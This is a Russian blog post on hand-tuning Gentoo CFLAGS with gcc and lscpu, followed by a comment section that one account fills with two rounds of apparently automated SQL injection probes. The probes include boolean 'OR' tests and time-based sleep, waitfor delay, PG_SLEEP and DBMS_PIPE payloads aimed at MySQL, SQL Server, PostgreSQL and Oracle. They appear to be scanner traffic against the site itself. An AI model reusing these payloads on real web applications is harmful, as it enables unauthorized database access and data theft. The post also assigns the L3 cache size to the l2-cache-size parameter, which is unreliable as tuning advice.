Идеальные CFLAGS в Gentoo
С 4й версии GCC умеет подбирать оптимальные параметры автоматически, для этого нужно всего лишь указать в CFLAGS ключ -march=native. Однако, бывают случаи, когда -march=native использовать нельзя, например, если у вас distcc (proof) Вот здесь начинается особая, уличная магия. Первое, что нужно сделать - узнать свою модель процессора. Сделать это можно при помощи команды:
Получите примерно такое:
- vendor_id : GenuineIntel
- cpu family : 6
- model : 30
- model name : Intel(R) Xeon(R) CPU X3450 @ 2.67GHz
Простое решение - позаимствовать из архивов Gentoo Wiki набор протестированных флагов (раз, два, три). Однако такие документации уже довольно стары, а то и вовсе не поддерживаются. Так что вы имеете достаточно большую вероятность просто не найти свой процессор в этих простынях. Поэтому последний и сложный вариант - составить свой собственный, точный набор флагов, используя те же инструменты, что и GCC для -march=native.
- # выполнять от root`а
- gcc -c -Q -march=native --help=target
Это команда выведет список флагов, который поддерживает ваш процессор. Используйте осторожно, ибо не всякая программа будет компилироваться с ними. Например от mstackrealign у меня намертво отваливалась сборка порта bzip2. Так же будет полезно рассказать GCC сколько памяти у процессора в L-кешах. В этом нам поможет утилита lscpu:
- sb0y@fabian / $ lscpu
- Architecture: x86_64
- CPU op-mode(s): 32-bit, 64-bit
- Byte Order: Little Endian
- CPU(s): 8
- On-line CPU(s) list: 0-7
- Thread(s) per core: 2
- Core(s) per socket: 4
- Socket(s): 1
- NUMA node(s): 1
- Vendor ID: GenuineIntel
- CPU family: 6
- Model: 30
- Stepping: 5
- CPU MHz: 2660.000
- BogoMIPS: 5320.11
- Virtualization: VT-x
- L1d cache: 32K
- L1i cache: 32K
- L2 cache: 256K
- L3 cache: 8192K
- NUMA node0 CPU(s): 0-7
Теперь можно добавить в CFLAGS: --param l1-cache-size=32 --param l1-cache-line-size=64 --param l2-cache-size=8192. Вот и всё. После установки новых флагов, лучше выполнить emerge system, чтобы быть уверенным, что ничего не сломалось.
nEcdyGgx 13 Augustа в 18:00 #
555
nEcdyGgx 13 Augustа в 18:03 #
555
nEcdyGgx 13 Augustа в 18:03 #
555
nEcdyGgx 13 Augustа в 18:03 #
555
nEcdyGgx 13 Augustа в 18:03 #
555
nEcdyGgx 13 Augustа в 18:03 #
-1 OR 2+95-95-1=0+0+0+1 --
nEcdyGgx 13 Augustа в 18:03 #
-1 OR 3+95-95-1=0+0+0+1 --
nEcdyGgx 13 Augustа в 18:03 #
-1 OR 3*2
nEcdyGgx 13 Augustа в 18:03 #
-1 OR 3*2>(0+5+95-95) --
nEcdyGgx 13 Augustа в 18:03 #
-1 OR 2+998-998-1=0+0+0+1
nEcdyGgx 13 Augustа в 18:03 #
-1 OR 3+998-998-1=0+0+0+1
nEcdyGgx 13 Augustа в 18:03 #
-1 OR 3*2
nEcdyGgx 13 Augustа в 18:03 #
-1 OR 3*2>(0+5+998-998)
nEcdyGgx 13 Augustа в 18:03 #
-1' OR 2+250-250-1=0+0+0+1 --
nEcdyGgx 13 Augustа в 18:03 #
-1' OR 3+250-250-1=0+0+0+1 --
nEcdyGgx 13 Augustа в 18:03 #
-1' OR 3*2
nEcdyGgx 13 Augustа в 18:03 #
-1' OR 3*2>(0+5+250-250) --
nEcdyGgx 13 Augustа в 18:03 #
-1' OR 2+44-44-1=0+0+0+1 or 'f62V2ktf'='
nEcdyGgx 13 Augustа в 18:03 #
-1' OR 3+44-44-1=0+0+0+1 or 'f62V2ktf'='
nEcdyGgx 13 Augustа в 18:03 #
-1' OR 3*2
nEcdyGgx 13 Augustа в 18:03 #
-1' OR 3*2>(0+5+44-44) or 'f62V2ktf'='
nEcdyGgx 13 Augustа в 18:03 #
-1" OR 2+640-640-1=0+0+0+1 --
nEcdyGgx 13 Augustа в 18:03 #
-1" OR 3+640-640-1=0+0+0+1 --
nEcdyGgx 13 Augustа в 18:03 #
-1" OR 3*2
nEcdyGgx 13 Augustа в 18:03 #
-1" OR 3*2>(0+5+640-640) --
nEcdyGgx 13 Augustа в 18:03 #
if(now()=sysdate(),sleep(15),0)
nEcdyGgx 13 Augustа в 18:03 #
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
nEcdyGgx 13 Augustа в 18:03 #
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
nEcdyGgx 13 Augustа в 18:03 #
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
nEcdyGgx 13 Augustа в 18:03 #
-1; waitfor delay '0:0:15' --
nEcdyGgx 13 Augustа в 18:03 #
-1); waitfor delay '0:0:15' --
nEcdyGgx 13 Augustа в 18:03 #
1 waitfor delay '0:0:15' --
nEcdyGgx 13 Augustа в 18:03 #
OFVYYpvW'; waitfor delay '0:0:15' --
nEcdyGgx 13 Augustа в 18:03 #
-5 OR 627=(SELECT 627 FROM PG_SLEEP(15))--
nEcdyGgx 13 Augustа в 18:03 #
-5) OR 374=(SELECT 374 FROM PG_SLEEP(15))--
nEcdyGgx 13 Augustа в 18:03 #
-1)) OR 228=(SELECT 228 FROM PG_SLEEP(15))--
nEcdyGgx 13 Augustа в 18:03 #
TtmyN9sZ' OR 285=(SELECT 285 FROM PG_SLEEP(15))--
nEcdyGgx 13 Augustа в 18:03 #
CESJXoKV') OR 841=(SELECT 841 FROM PG_SLEEP(15))--
nEcdyGgx 13 Augustа в 18:03 #
TCw1Dnvy')) OR 559=(SELECT 559 FROM PG_SLEEP(15))--
nEcdyGgx 13 Augustа в 18:03 #
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
nEcdyGgx 13 Augustа в 18:03 #
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
nEcdyGgx 13 Augustа в 18:03 #
1'"
nEcdyGgx 13 Augustа в 18:03 #
@@2mkWP
nEcdyGgx 13 Augustа в 18:37 #
555
nEcdyGgx 13 Augustа в 18:41 #
555
nEcdyGgx 13 Augustа в 18:41 #
555
nEcdyGgx 13 Augustа в 18:41 #
555
nEcdyGgx 13 Augustа в 18:41 #
555
nEcdyGgx 13 Augustа в 18:41 #
-1 OR 2+20-20-1=0+0+0+1 --
nEcdyGgx 13 Augustа в 18:41 #
-1 OR 3+20-20-1=0+0+0+1 --
nEcdyGgx 13 Augustа в 18:41 #
-1 OR 3*2
nEcdyGgx 13 Augustа в 18:41 #
-1 OR 3*2>(0+5+20-20) --
nEcdyGgx 13 Augustа в 18:41 #
-1 OR 2+938-938-1=0+0+0+1
nEcdyGgx 13 Augustа в 18:41 #
-1 OR 3+938-938-1=0+0+0+1
nEcdyGgx 13 Augustа в 18:41 #
-1 OR 3*2
nEcdyGgx 13 Augustа в 18:41 #
-1 OR 3*2>(0+5+938-938)
nEcdyGgx 13 Augustа в 18:41 #
-1' OR 2+498-498-1=0+0+0+1 --
nEcdyGgx 13 Augustа в 18:41 #
-1' OR 3+498-498-1=0+0+0+1 --
nEcdyGgx 13 Augustа в 18:41 #
-1' OR 3*2
nEcdyGgx 13 Augustа в 18:41 #
-1' OR 3*2>(0+5+498-498) --
nEcdyGgx 13 Augustа в 18:41 #
-1' OR 2+762-762-1=0+0+0+1 or 'rgABjprn'='
nEcdyGgx 13 Augustа в 18:41 #
-1' OR 3+762-762-1=0+0+0+1 or 'rgABjprn'='
nEcdyGgx 13 Augustа в 18:41 #
-1' OR 3*2
nEcdyGgx 13 Augustа в 18:41 #
-1' OR 3*2>(0+5+762-762) or 'rgABjprn'='
nEcdyGgx 13 Augustа в 18:41 #
-1" OR 2+116-116-1=0+0+0+1 --
nEcdyGgx 13 Augustа в 18:41 #
-1" OR 3+116-116-1=0+0+0+1 --
nEcdyGgx 13 Augustа в 18:41 #
-1" OR 3*2
nEcdyGgx 13 Augustа в 18:41 #
-1" OR 3*2>(0+5+116-116) --
nEcdyGgx 13 Augustа в 18:41 #
if(now()=sysdate(),sleep(15),0)
nEcdyGgx 13 Augustа в 18:41 #
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
nEcdyGgx 13 Augustа в 18:41 #
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
nEcdyGgx 13 Augustа в 18:41 #
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
nEcdyGgx 13 Augustа в 18:41 #
-1; waitfor delay '0:0:15' --
nEcdyGgx 13 Augustа в 18:41 #
-1); waitfor delay '0:0:15' --
nEcdyGgx 13 Augustа в 18:41 #
1 waitfor delay '0:0:15' --
nEcdyGgx 13 Augustа в 18:41 #
XmfPm0Jz'; waitfor delay '0:0:15' --
nEcdyGgx 13 Augustа в 18:41 #
-5 OR 475=(SELECT 475 FROM PG_SLEEP(15))--
nEcdyGgx 13 Augustа в 18:41 #
-5) OR 989=(SELECT 989 FROM PG_SLEEP(15))--
nEcdyGgx 13 Augustа в 18:41 #
-1)) OR 951=(SELECT 951 FROM PG_SLEEP(15))--
nEcdyGgx 13 Augustа в 18:41 #
7DHILthW' OR 212=(SELECT 212 FROM PG_SLEEP(15))--
nEcdyGgx 13 Augustа в 18:41 #
G5UxNBd9') OR 630=(SELECT 630 FROM PG_SLEEP(15))--
nEcdyGgx 13 Augustа в 18:41 #
D8BqHPE5')) OR 420=(SELECT 420 FROM PG_SLEEP(15))--
nEcdyGgx 13 Augustа в 18:41 #
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
nEcdyGgx 13 Augustа в 18:41 #
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
nEcdyGgx 13 Augustа в 18:41 #
1'"
nEcdyGgx 13 Augustа в 18:41 #
@@l7Bw0
nEcdyGgx 13 Augustа в 18:54 #
555